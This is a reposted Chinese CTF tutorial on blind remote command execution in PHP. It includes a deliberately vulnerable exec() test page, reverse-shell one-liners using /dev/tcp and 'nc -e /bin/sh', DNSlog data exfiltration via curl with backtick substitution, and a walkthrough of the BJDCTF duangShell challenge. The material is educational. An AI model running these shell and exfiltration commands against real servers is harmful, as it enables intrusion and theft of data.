首页 > 技术文章 > RCE篇之无回显rce

pursue-security 2021-10-14 14:45 原文

转载自:https://arsenetang.github.io/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/

在ctf中,有时会遇到无回显rce,就是说虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行,借着这次总结rce的机会,就把它一起总结了

测试代码如下:

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>

命令执行函数我用的是exec,因为这个函数本身是没有回显的,拿来做测试简直不能再合适,想了解这个函数可以看这里:https://www.php.net/manual/zh/function.exec.php 这里我们直接输入命令是没有回显的:

 

 我们首先用sleep命令看看命令是否被成功执行了,看下图它转了五秒之后才恢复说明命令是执行了的:

 

1.反弹shell

遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port进行反弹:

 

 

2.dnslog外带数据法

首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,我个人觉得挺好用的,当然大佬们也可以选择自己搭,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录。好了,铺垫结束,下面正式开始测试:

 

 还是这一段代码,我们用分号;作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令,具体如下:

 

 然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami的结果也已经在上面显示了出来:

 

 然后我们就尝试执行其它的命令比如像ls之类的,但这里需要注意的一点是,如果我们直接执行ls的话,它只会返回第一条结果,具体如下图所示:

 

 

 

 那么为了让它显示出剩余的结果,我们就需要用到linux的sed命令,用sed命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:

 

 这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:

 

 

例题解析——-BJDCTF 2nd duangShell

这道题buuctf上可以复现,先用kali恢复swp文件,然后得到源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

可以看到,这就是一个有过滤情况下的无回显rce,虽然是看起来过滤的比较多,基本思路是反弹shell,但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl 反引号都没有被过滤掉,所以说我想尝试直接把数据外带出来,先尝试whoami发现没问题:

 

 

 

 

 

 那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls是真的烦,然后由于它禁了$,上篇文章中讲到的找flag的语句cat $(find / -name flag*)就用不了了,我先盲猜一下它在根目录下名字叫flag,试试行不行,cat被过滤掉了我就直接用tac,这个问题不大,发现还真有这个文件:

 

 

 

 只不过嘛,这个内容就很狗,还要让自己去找flag,那我就试试用find去找,说实话这时候我心里也没底,只能说试试,用的这条语句 find / -name flag

 

 

 不过运气是真的好哈哈哈,直接出来了路径,那就稳了啊,直接读它就完事儿了:

 

 

 

 

出来了出来了,加上{}就是最终的flag,不过我看wp的时候方法都是用反弹shell做的,不知道我这种算不算非预期解,想了解那种方法的可以自行百度,这里也推荐两篇文章:

https://www.extrader.top/posts/c714e372/

https://blog.csdn.net/qq_45521281/article/details/105351352

推荐阅读